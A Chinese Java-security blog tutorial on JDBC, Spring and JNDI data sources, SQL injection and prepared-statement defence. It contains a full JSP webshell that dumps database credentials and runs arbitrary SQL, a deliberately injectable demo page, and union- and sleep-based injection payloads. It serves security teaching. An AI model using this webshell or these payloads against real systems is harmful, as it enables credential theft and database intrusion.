java安全(二):JDBC|sql注入|預編譯

給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!

在這里插入圖片描述

1 JDBC基礎

JDBC(Java Database Connectivity)是Java提供對數據庫進行連接、操作的標準API。Java自身并不會去實現對數據庫的連接、查詢、更新等操作而是通過抽象出數據庫操作的API接口(JDBC),
不同的數據庫提供商必須實現JDBC定義的接口從而也就實現了對數據庫的一系列操作。

2 JDBCConnection

2.1連接

Java通過java.sql.DriverManager來管理所有數據庫的驅動注冊,所以如果想要建立數據庫連接需要先在java.sql.DriverManager中注冊對應的驅動類,然后調用getConnection方法才能連接上數據庫。

JDBC定義了一個叫 java.sql.Driver 的接口類負責實現對數據庫的連接,所有的數據庫驅動包都必須實現這個接口才能完成數據庫的連接、 **java.sql.DriverManager.getConnection(xx)**其實就是簡介的調用了java.sql.Driver 類的connect 方法 實現數據庫連接。 數據庫連接成功會返回一個叫 java.sql.Connection 的數據庫連接對象, 一切對數據庫的查詢操作都依賴這個 Connection 對象

JDBC連接數據庫的一般步驟:

1 注冊驅動,Class.forName("數據庫驅動的類名")
2 獲取連接, DriverManager.getConnetion(xxx)

JDBC連接數據庫示例代碼如下

String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/mysql"
String USERNAME = "root";
String PASSWORD = "root";Class.forName(CLASS_NAME);// 注冊JDBC驅動類
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

2.2 數據庫配置

傳統的Web應用的數據庫配置信息一般都是存放在WEB-INF目錄下的*.properties、.yml、.xml中的,如果是Spring Boot項目的話一般都會存儲在jar包中的src/main/resources/目錄下。常見的存儲數據庫配置信息的文件路徑如:WEB-INF/applicationContext.xml、WEB-INF/hibernate.cfg.xml、WEB-INF/jdbc/jdbc.properties,一般情況下使用find命令加關鍵字可以輕松的找出來,如查找Mysql配置信息: find 路徑 -type f |xargs grep “com.mysql.jdbc.Driver”。

為什么需要Class.forName?
很多人不理解為什么第一步必須是Class.forName(CLASS_NAME);// 注冊JDBC驅動類,因為他們永遠不會跟進驅動包去一探究竟。
實際上這一步是利用了Java反射+類加載機制往DriverManager中注冊了驅動包!
在這里插入圖片描述Class.forName(“com.mysql.jdbc.Driver”)實際上會觸發類加載,com.mysql.jdbc.Driver類將會被初始化,所以static靜態語句塊中的代碼也將會被執行,所以看似毫無必要的Class.forName其實也是暗藏玄機的。如果反射某個類又不想初始化類方法有兩種途徑:
1.
使用Class.forName(“xxxx”, false, loader)方法,將第二個參數傳入false。
2.
ClassLoader.load(“xxxx”);

Class.forName可以省去嗎?
連接數據庫就必須Class.forName(xxx)幾乎已經成為了絕大部分人認為的既定事實而不可改變,但是某些人會發現刪除Class.forName一樣可以連接數據庫這又作何解釋?

實際上這里又利用了Java的一大特性:Java SPI(Service Provider Interface),因為DriverManager在初始化的時候會調用java.util.ServiceLoader類提供的SPI機制,Java會自動掃描jar包中的META-INF/services目錄下的文件,并且還會自動的Class.forName(文件中定義的類),這也就解釋了為什么不需要Class.forName也能夠成功連接數據庫的原因了。
Mysql驅動包示例:
在這里插入圖片描述

2.3 JDBC數據庫連接總結

使用JDBC連接數據相對于PHP直接使用mysql_connect/mysqli_connect函數就可以完成數據庫連接來說的確難了很多,但是其中也暗藏了很多Java的特性需要我們去深入理解。
或許您會有所疑問我們為什么非要搞明白Class.forName這個問題?這個問題和Java安全有必然的聯系嗎?其實這里只是想讓大家明白Java反射、類加載機制、和SPI機制以及養成閱讀JDK或者第三方庫代碼的習慣,也希望不明白上述機制的朋友深入去理解思考下。
學習完本節后希望您能去思考如下問題:
1.
SPI機制是否有安全性問題?
2.
Java反射有那些安全問題?
3.
Java類加載機制是什么?
4.
數據庫連接時密碼安全問題?
5.
使用JDBC如何寫一個通用的數據庫密碼爆破模塊?

3 Datasource 數據源

3.1. DataSource

在真實的Java項目中通常不會使用原生的JDBC的DriverManager去連接數據庫,而是使用數據源(javax.sql.DataSource)來代替DriverManager管理數據庫的連接。一般情況下在Web服務啟動時候會預先定義好數據源,有了數據源程序就不再需要編寫任何數據庫連接相關的代碼了,直接引用DataSource對象即可獲取數據庫連接了。
常見的數據源有:DBCP、C3P0、Druid、Mybatis DataSource,他們都實現于javax.sql.DataSource接口。

3.2 Spring MVC 數據源

在Spring MVC中我們可以自由的選擇第三方數據源,通常我們會定義一個DataSource Bean用于配置和初始化數據源對象,然后在Spring中就可以通過Bean注入的方式獲取數據源對象了。

在基于XML配置的SpringMVC中配置數據源:

<bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close"><property name="url" value="${jdbc.url}"/><property name="username" value="${jdbc.username}"/><property name="password" value="${jdbc.password}"/>..../>

如上,我們定義了一個id為dataSource的Spring Bean對象,username和password都使用了jdbc.XXX表示,很明顯{jdbc.XXX}表示,很明顯jdbc.XXX表示,很明顯{jdbc.username}并不是數據庫的用戶名,這其實是采用了Spring的property-placeholder制定了一個properties文件,使用${jdbc.username}其實會自動自定義的properties配置文件中的配置信息。

<context:property-placeholder location="classpath:/config/jdbc.properties"/>

jdbc.properties內容:

jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
jdbc.username=root
jdbc.password=root

在Spring中我們只需要通過引用這個Bean就可以獲取到數據源了,比如在Spring JDBC中通過注入數據源(ref=“dataSource”)就可以獲取到上面定義的dataSource。

<!-- jdbcTemplate Spring JDBC 模版 -->
<bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false"><property name="dataSource" ref="dataSource"/>
</bean>

SpringBoot配置數據源:
在SpringBoot中只需要在application.properties或application.yml中定義spring.datasource.xxx即可完成DataSource配置。

spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
Spring 數據源Hack

我們通常可以通過查找Spring數據庫配置信息找到數據庫賬號密碼,但是很多時候我們可能會找到非常多的配置項甚至是加密的配置信息,這將會讓我們非常的難以確定真實的數據庫配置信息。某些時候在授權滲透測試的情況下我們可能會需要傳個shell嘗試性的連接下數據庫(高危操作,請勿違法!)證明下危害,那么您可以在webshell中使用注入數據源的方式來獲取數據庫連接對象,甚至是讀取數據庫密碼(切記不要未經用戶授權違規操作!)。

spring-datasource.jsp獲取數據源/執行SQL語句示例

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>th, td {border: 1px solid #C1DAD7;font-size: 12px;padding: 6px;color: #4f6b72;}
</style>
<%!// C3PO數據源類private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";// DBCP數據源類private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";//Druid數據源類private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";/*** 獲取所有Spring管理的數據源* @param ctx Spring上下文* @return 數據源數組*/List<DataSource> getDataSources(ApplicationContext ctx) {List<DataSource> dataSourceList = new ArrayList<DataSource>();String[]         beanNames      = ctx.getBeanDefinitionNames();for (String beanName : beanNames) {Object object = ctx.getBean(beanName);if (object instanceof DataSource) {dataSourceList.add((DataSource) object);}}return dataSourceList;}/*** 打印Spring的數據源配置信息,當前只支持DBCP/C3P0/Druid數據源類* @param ctx Spring上下文對象* @return 數據源配置字符串* @throws ClassNotFoundException 數據源類未找到異常* @throws NoSuchMethodException 反射調用時方法沒找到異常* @throws InvocationTargetException 反射調用異常* @throws IllegalAccessException 反射調用時不正確的訪問異常*/String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,NoSuchMethodException, InvocationTargetException, IllegalAccessException {List<DataSource> dataSourceList = getDataSources(ctx);for (DataSource dataSource : dataSourceList) {String className = dataSource.getClass().getName();String url       = null;String UserName  = null;String PassWord  = null;if (C3P0_CLASS_NAME.equals(className)) {Class clazz = Class.forName(C3P0_CLASS_NAME);url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);UserName = (String) clazz.getMethod("getUser").invoke(dataSource);PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);} else if (DBCP_CLASS_NAME.equals(className)) {Class clazz = Class.forName(DBCP_CLASS_NAME);url = (String) clazz.getMethod("getUrl").invoke(dataSource);UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);} else if (DRUID_CLASS_NAME.equals(className)) {Class clazz = Class.forName(DRUID_CLASS_NAME);url = (String) clazz.getMethod("getUrl").invoke(dataSource);UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);}return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";}return null;}
%>
<%String sql = request.getParameter("sql");// 定義需要執行的SQL語句// 獲取Spring的ApplicationContext對象ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());// 獲取Spring中所有的數據源對象List<DataSource> dataSourceList = getDataSources(ctx);// 檢查是否獲取到了數據源if (dataSourceList == null) {out.println("未找到任何數據源配置信息!");return;}out.println("<hr/>");out.println("Spring DataSource配置信息獲取測試:");out.println("<hr/>");out.print(printDataSourceConfig(ctx));out.println("<hr/>");// 定義需要查詢的SQL語句sql = sql != null ? sql : "select version()";for (DataSource dataSource : dataSourceList) {out.println("<hr/>");out.println("SQL語句:<font color='red'>" + sql + "</font>");out.println("<hr/>");//從數據源中獲取數據庫連接對象Connection connection = dataSource.getConnection();// 創建預編譯查詢對象PreparedStatement pstt = connection.prepareStatement(sql);// 執行查詢并獲取查詢結果對象ResultSet rs = pstt.executeQuery();out.println("<table><tr>");// 獲取查詢結果的元數據對象ResultSetMetaData metaData = rs.getMetaData();// 從元數據中獲取字段信息for (int i = 1; i <= metaData.getColumnCount(); i++) {out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");}out.println("<tr/>");// 獲取JDBC查詢結果while (rs.next()) {out.println("<tr>");for (int i = 1; i <= metaData.getColumnCount(); i++) {out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");}out.println("<tr/>");}rs.close();pstt.close();}
%>

讀取數據源信息和執行SQL語句效果:
在這里插入圖片描述
上面的代碼不需要手動去配置文件中尋找任何信息就可以直接讀取出數據庫配置信息甚至是執行SQL語句,其實是利用了Spring的ApplicationContext遍歷了當前Web應用中Spring管理的所有的Bean,然后找出所有DataSource的對象,通過反射讀取出C3P0、DBCP、Druid這三類數據源的數據庫配置信息,最后還利用了DataSource獲取了Connection對象實現了數據庫查詢功能。

3.3 Java Web Server 數據源

除了第三方數據源庫實現,標準的Web容器自身也提供了數據源服務,通常會在容器中配置DataSource信息并注冊到JNDI(Java Naming and Directory Interface)中,在Web應用中我們可以通過JNDI的接口lookup(定義的JNDI路徑)來獲取到DataSource對象。

Tomcat JNDI DataSource

Tomcat配置JNDI數據源需要手動修改Tomcat目錄/conf/context.xml文件,
參考
https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html

<Context><Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"maxTotal="100" maxIdle="30" maxWaitMillis="10000"username="root" password="root" driverClassName="com.mysql.jdbc.Driver"url="jdbc:mysql://localhost:3306/mysql"/></Context>
Resin JNDI DataSourceResin

需要修改resin.xml,添加database配置,
參考:Resin Database configuration

在這里插入代碼片
<database jndi-name='jdbc/test'><driver type="com.mysql.jdbc.Driver"><url>jdbc:mysql://localhost:3306/mysql</url><user>root</user><password>root</password></driver>
</database>

4 JDBC sql 注入

4.1 sql注入

SQL注入(SQL injection)是因為應用程序在執行SQL語句的時候沒有正確的處理用戶輸入字符串,將用戶輸入的惡意字符串拼接到了SQL語句中執行,從而導致了SQL注入。

SQL注入是一種原理非常簡單且危害程度極高的惡意攻擊,我們可以理解為不同程序語言的注入方式是一樣的。

本章節只討論基于JDBC查詢的SQL注入,暫不討論基于ORM實現的框架注入,也不會過多的討論注入的深入用法、函數等。

4.2 sql注入示例

在SQL注入中如果需要我們手動閉合SQL語句的’的注入類型稱為字符型注入、反之成為整型注入。字符型注入
假設程序想通過用戶名查詢用戶個人信息,那么它最終執行的SQL語句可能是這樣:

select host,user from mysql.user where user = '用戶輸入的用戶名'

正常情況下用戶只需傳入自己的用戶名,如:root,程序會自動拼成一條完整的SQL語句:

select host,user from mysql.user where user = 'root'

查詢結果如下:

mysql> select host,user from mysql.user where user = 'root';
+-----------+------+
| host      | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)

但假設黑客傳入了惡意的字符串:root’ and 1=2 union select 1,'2去閉合SQL語句,那么SQL語句的含義將會被改變:

select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2'

查詢結果如下:

mysql> select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2';
+------+------+
| host | user |
+------+------+
| 1    | 2    |
+------+------+
1 row in set (0.00 sec)

Java代碼片段如下:

// 獲取用戶傳入的用戶名
String user = request.getParameter("user");// 定義最終執行的SQL語句,這里會將用戶從請求中傳入的host字符串拼接到最終的SQL
// 語句當中,從而導致了SQL注入漏洞。
String sql = "select host,user from mysql.user where user = '" + user + "'";// 創建預編譯對象
PreparedStatement pstt = connection.prepareStatement(sql);// 執行SQL語句并獲取返回結果對象
ResultSet rs = pstt.executeQuery();

如上示例程序,sql變量拼接了我們傳入的用戶名字符串并調用executeQuery方法執行了含有惡意攻擊的SQL語句。我們只需要在用戶傳入的user參數中拼湊一個能夠閉合SQL語句又不影響SQL語法的惡意字符串即可實現SQL注入攻擊!需要我們使用’(單引號)閉合的SQL注入漏洞我們通常叫做字符型SQL注入。

快速檢測字符串類型注入方式
在滲透測試中我們判斷字符型注入點最快速的方式就是在參數值中加’(單引號),如:http://localhost/1.jsp?id=1’,如果頁面返回500錯誤或者出現異常的情況下我們通常可以初步判定該參數可能存在注入。

字符型注入測試

示例程序包含了一個存在字符型注入的Demo,測試時請自行修改數據庫賬號密碼,user參數參數存在注入。

sql-injection.jsp:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.io.StringWriter" %>
<%@ page import="java.io.PrintWriter" %>
<style>table {border-collapse: collapse;}th, td {border: 1px solid #C1DAD7;font-size: 12px;padding: 6px;color: #4f6b72;}
</style>
<%!// 數據庫驅動類名public static final String CLASS_NAME = "com.mysql.jdbc.Driver";// 數據庫鏈接字符串public static final String URL = "jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false";// 數據庫用戶名public static final String USERNAME = "root";// 數據庫密碼public static final String PASSWORD = "root";Connection getConnection() throws SQLException, ClassNotFoundException {Class.forName(CLASS_NAME);// 注冊JDBC驅動類return DriverManager.getConnection(URL, USERNAME, PASSWORD);}%>
<%String user = request.getParameter("user");if (user != null) {Connection connection = null;try {// 建立數據庫連接connection = getConnection();// 定義最終執行的SQL語句,這里會將用戶從請求中傳入的host字符串拼接到最終的SQL// 語句當中,從而導致了SQL注入漏洞。
//            String sql = "select host,user from mysql.user where user = ? ";String sql = "select host,user from mysql.user where user = '" + user + "'";out.println("SQL:" + sql);out.println("<hr/>");// 創建預編譯對象PreparedStatement pstt = connection.prepareStatement(sql);
//            pstt.setObject(1, user);// 執行SQL語句并獲取返回結果對象ResultSet rs = pstt.executeQuery();out.println("<table><tr>");out.println("<th>主機</th>");out.println("<th>用戶</th>");out.println("<tr/>");// 輸出SQL語句執行結果while (rs.next()) {out.println("<tr>");// 獲取SQL語句中查詢的字段值out.println("<td>" + rs.getObject("host") + "</td>");out.println("<td>" + rs.getObject("user") + "</td>");out.println("<tr/>");}out.println("</table>");// 關閉查詢結果rs.close();// 關閉預編譯對象pstt.close();} catch (Exception e) {// 輸出異常信息到瀏覽器StringWriter sw = new StringWriter();e.printStackTrace(new PrintWriter(sw));out.println(sw);} finally {// 關閉數據庫連接connection.close();}}
%>

正常請求,查詢用戶名為root的用戶信息測試:
http://localhost:8080/sql-injection.jsp?user=root
在這里插入圖片描述
提交含有’(單引號)的注入語句測試:
http://localhost:8080/sql-injection.jsp?user=root’
在這里插入圖片描述
如果用戶屏蔽了異常信息的顯示我們就無法直接通過頁面信息確認是否是注入,但是我們可以通過后端響應的狀態碼來確定是否是注入點,如果返回的狀態碼為500,那么我們就可以初步的判定user參數存在注入了。

提交讀取Mysql用戶名和版本號注入語句測試:

http://localhost:8080/sql-injection.jsp?user=root’ and 1=2 union select user(),version() --%20
在這里插入圖片描述這里使用了-- (–空格,空格可以使用%20代替)來注釋掉SQL語句后面的’(單引號),當然我們同樣也可以使用#(井號,URL傳參的時候必須傳URL編碼后的值:%23)注釋掉’。

整型注入

假設我們執行的SQL語句是:

select id, username, email from sys_user where id = 用戶ID

查詢結果如下:

mysql> select id, username, email from sys_user where id = 1;
+----+----------+-------------------+
| id | username | email             |
+----+----------+-------------------+
|  1 | yzmm     | admin@javaweb.org |
+----+----------+-------------------+
1 row in set (0.01 sec)

假設程序預期用戶輸入一個數字類型的參數作為查詢條件,且輸入內容未經任何過濾直接就拼到了SQL語句當中,那么也就產生了一種名為整型SQL注入的漏洞。
對應的程序代碼片段:

// 獲取用戶傳入的用戶IDString id = request.getParameter("id");// 定義最終執行的SQL語句,這里會將用戶從請求中傳入的host字符串拼接到最終的SQL// 語句當中,從而導致了SQL注入漏洞。String sql = "select id, username, email from sys_user where id =" + id;// 創建預編譯對象PreparedStatement pstt = connection.prepareStatement(sql);// 執行SQL語句并獲取返回結果對象ResultSet rs = pstt.executeQuery();

快速檢測整型注入方式整型注入相比字符型更容易檢測,使用參數值添加’(單引號)的方式或者使用運算符、數據庫子查詢、睡眠函數(一定慎用!如:sleep)等。

檢測方式示例:

id=2-1
id=(2)
id=(select 2 from dual)
id=(select 2)

盲注時不要直接使用sleep(n)!例如: id=sleep(3)
對應的SQL語句select username from sys_user where id = sleep(3)
執行結果如下:

mysql> select username from sys_user where id= sleep(3);
Empty set (24.29 sec)

為什么只是sleep了3秒鐘最終變成了24秒?因為sleep語句執行了select count(1) from sys_user遍!當前sys_user表因為有8條數據所以執行了8次。

如果非要使用sleep的方式可以使用子查詢的方式代替:

為什么只是sleep了3秒鐘最終變成了24秒?因為sleep語句執行了select count(1) from sys_user遍!當前sys_user表因為有8條數據所以執行了8次。

如果非要使用sleep的方式可以使用子查詢的方式代替:

id=2 union select 1, sleep(3)

查詢結果如下:

mysql> select username,email from sys_user where id=1 union select 1, sleep(3);
+----------+-------------------+
| username | email             |
+----------+-------------------+
| yzmm     | admin@javaweb.org |
| 1        | 0                 |
+----------+-------------------+
2 rows in set (3.06 sec)

4.3 sql注入防御

既然我們學會了如何提交惡意的注入語句,那么我們到底應該如何去防御注入呢?通常情況下我們可以使用以下方式來防御SQL注入攻擊:
1.
轉義用戶請求的參數值中的’(單引號)、"(雙引號)。
2.
限制用戶傳入的數據類型,如預期傳入的是數字,那么使用:Integer.parseInt()/Long.parseLong等轉換成整型。
3.
使用PreparedStatement對象提供的SQL語句預編譯。

切記只過濾’(單引號)或"(雙引號)并不能有效的防止整型注入,但是可以有效的防御字符型注入。解決注入的根本手段應該使用參數預編譯的方式。

PreparedStatement SQL預編譯查詢

將上面存在注入的Java代碼改為?(問號)占位的方式即可實現SQL預編譯查詢。
示例代碼片段:

// 獲取用戶傳入的用戶ID
String id = request.getParameter("id");// 定義最終執行的SQL語句,這里會將用戶從請求中傳入的host字符串拼接到最終的SQL
// 語句當中,從而導致了SQL注入漏洞。
String sql = "select id, username, email from sys_user where id =? ";// 創建預編譯對象
PreparedStatement pstt = connection.prepareStatement(sql);// 設置預編譯查詢的第一個參數值
pstt.setObject(1, id);// 執行SQL語句并獲取返回結果對象
ResultSet rs = pstt.executeQuery();

需要特別注意的是并不是使用PreparedStatement來執行SQL語句就沒有注入漏洞,而是將用戶傳入部分使用?(問號)占位符表示并使用PreparedStatement預編譯SQL語句才能夠防止注入!

JDBC預編譯

可能很多人都會有一個疑問:JDBC中使用PreparedStatement對象的SQL語句究竟是如何實現預編譯的?接下來我們將會以Mysql驅動包為例,深入學習JDBC預編譯實現。

JDBC預編譯查詢分為客戶端預編譯和服務器端預編譯,對應的URL配置項是:useServerPrepStmts,當useServerPrepStmts為false時使用客戶端(驅動包內完成SQL轉義)預編譯,useServerPrepStmts為true時使用數據庫服務器端預編譯。

數據庫服務器端預編譯
JDBC URL配置示例:

jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=true

帶碼片段:

String sql = "select host,user from mysql.user where user = ? ";PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setObject(1, user);

使用JDBC的PreparedStatement查詢數據包如下:

在這里插入圖片描述
客戶端預編譯JDBC URL配置示例:

jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=false

代碼片段:

String sql = "select host,user from mysql.user where user = ? ";PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setObject(1, user);

使用JDBC的PreparedStatement查詢數據包如下:

預編譯前的值為root’,預編譯后的值為’root’',和我們通過WireShark抓包的結果一致。

Mysql預編譯

Mysql默認提供了預編譯命令:prepare,使用prepare命令可以在Mysql數據庫服務端實現預編譯查詢。

prepare查詢示例:

prepare stmt from 'select host,user from mysql.user where user = ?';set @username='root';execute stmt using @username;

查詢結果如下:

mysql> prepare stmt from 'select host,user from mysql.user where user = ?';
Query OK, 0 rows affected (0.00 sec)
Statement preparedmysql> set @username='root';
Query OK, 0 rows affected (0.00 sec)mysql> execute stmt using @username;
+-----------+------+
| host      | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)

看完點贊關注不迷路!!! 后續繼續更新優質安全內容!!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532549.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532549.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532549.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

java安全(三)RMI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.RMI 是什么 RMI(Remote Method Invocation)即Java遠程方法調用&#xff0c;RMI用于構建分布式應用程序&#xff0c;RMI實現了Java程序之間跨JVM的遠程通信…

LeetCode-726 原子的數量 遞歸

LeetCode-726 原子的數量 遞歸 題目鏈接&#xff1a;LeetCode-726 原子的數量 給你一個字符串化學式 formula &#xff0c;返回 每種原子的數量 。 原子總是以一個大寫字母開始&#xff0c;接著跟隨 0 個或任意個小寫字母&#xff0c;表示原子的名字。 如果數量大于 1&#xf…

java安全(四) JNDI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java…

二叉樹的層序遍歷和前中后序遍歷代碼 迭代/遞歸

前中后序遍歷&#xff08;DFS&#xff09; 首先我們要明確前中后序遍歷的順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 前中后序遍歷的遞歸代碼和迭代代碼分別有各自的框架&#xff0c;然后根據遍歷順序調整記錄元素的位置即可。 …

java安全(五)java反序列化

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1. 序列化 在調用RMI時,發現接收發送數據都是反序列化數據. 例如JSON和XML等語言,在網絡上傳遞信息,都會用到一些格式化數據,大多數處理方法中&#xff0c…

git merge和rebase的區別與選擇

git merge和rebase的區別與選擇 轉自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 這是一篇…

java安全(六)java反序列化2,ysoserial調試

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; ysoserial 下載地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以讓?戶根據??選擇的利?鏈&#xff0c;?成反序列化利?數據&…

C++面試常見問題一

C面試常見問題一 轉自&#xff1a;https://oldpan.me/archives/c-interview-answer-1 原作者&#xff1a;[oldpan][https://oldpan.me/] 前言 這里收集市面上所有的關于算法和開發崗最容易遇到的關于C方面的問題&#xff0c;問題信息來自互聯網以及牛客網的C面試題目匯總。答題…

java安全(七) 反序列化3 CC利用鏈 TransformedMap版

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 目錄圖解代碼demo涉及的接口與類&#xff1a;TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解總結&#xff1a…

C++編譯時多態和運行時多態

C編譯時多態和運行時多態 作者&#xff1a;melonstreet 出處&#xff1a;https://www.cnblogs.com/QG-whz/p/5132745.html 本文版權歸作者和博客園共有&#xff0c;歡迎轉載&#xff0c;但未經作者同意必須保留此段聲明&#xff0c;且在文章頁面明顯位置給出原文連接&#xff0…

java安全(八)TransformedMap構造POC

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 上一篇構造了一個了commons-collections的demo 【傳送門】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd進行自動微分

Pytorch Tutorial 使用torch.autograd進行自動微分 本文翻譯自 PyTorch 官網教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在訓練神經網絡時&#xff0c;最常使用…

TVM:編譯深度學習模型快速上手教程

TVM&#xff1a;編譯深度學習模型快速上手教程 本文將展示如何使用 Relay python 前端構建一個神經網絡&#xff0c;并使用 TVM 為 Nvidia GPU 生成一個運行時庫。 注意我們需要再構建 TVM 時啟用了 cuda 和 llvm。 TVM支持的硬件后端總覽 在本教程中&#xff0c;我們使用 cu…

TVM:設計與架構

TVM&#xff1a;設計與架構 本文檔適用于想要了解 TVM 架構和/或積極開發項目的開發人員。頁面組織如下&#xff1a; 示例編譯流程概述了 TVM 將模型的高層描述轉換為可部署模塊所采取的步驟。要開始使用&#xff0c;請先閱讀本節。 邏輯架構組件部分描述了邏輯組件。后面的部…

遞歸+回溯

遞歸-回溯 本文參考自代碼隨想錄視頻&#xff1a; https://www.bilibili.com/video/BV1cy4y167mM https://www.bilibili.com/video/BV1ti4y1L7cv 遞歸回溯理論基礎 只要有遞歸&#xff0c;就會有回溯&#xff0c;遞歸函數的下面的部分通常就是回溯的邏輯。 回溯是純暴力的搜索…

Nvidia CUDA初級教程1 CPU體系架構綜述

Nvidia CUDA初級教程1 CPU體系架構綜述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p2 講師&#xff1a;周斌 本節內容&#xff1a;了解現代CPU的架構和性能優化&#xff1a; 流水線 Pipelining分支預測 Branch Prediction超標量 Superscalar亂序執行 Out…

Nvidia CUDA初級教程2 并行程序設計概述

Nvidia CUDA初級教程2 并行程序設計概述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p3 講師&#xff1a;周斌 本節內容&#xff1a; 為什么需要&#xff1f;怎么做&#xff1f;一些技術和概念 串并行計算模式 串行計算模式 常規軟件時串行的 設計運行…

Nvidia CUDA初級教程4 GPU體系架構概述

Nvidia CUDA初級教程4 GPU體系架構概述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 講師&#xff1a;周斌 本節內容&#xff1a; 為什么需要GPU三種方法提升GPU的處理速度實際GPU的設計舉例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初級教程5 CUDA/GPU編程模型

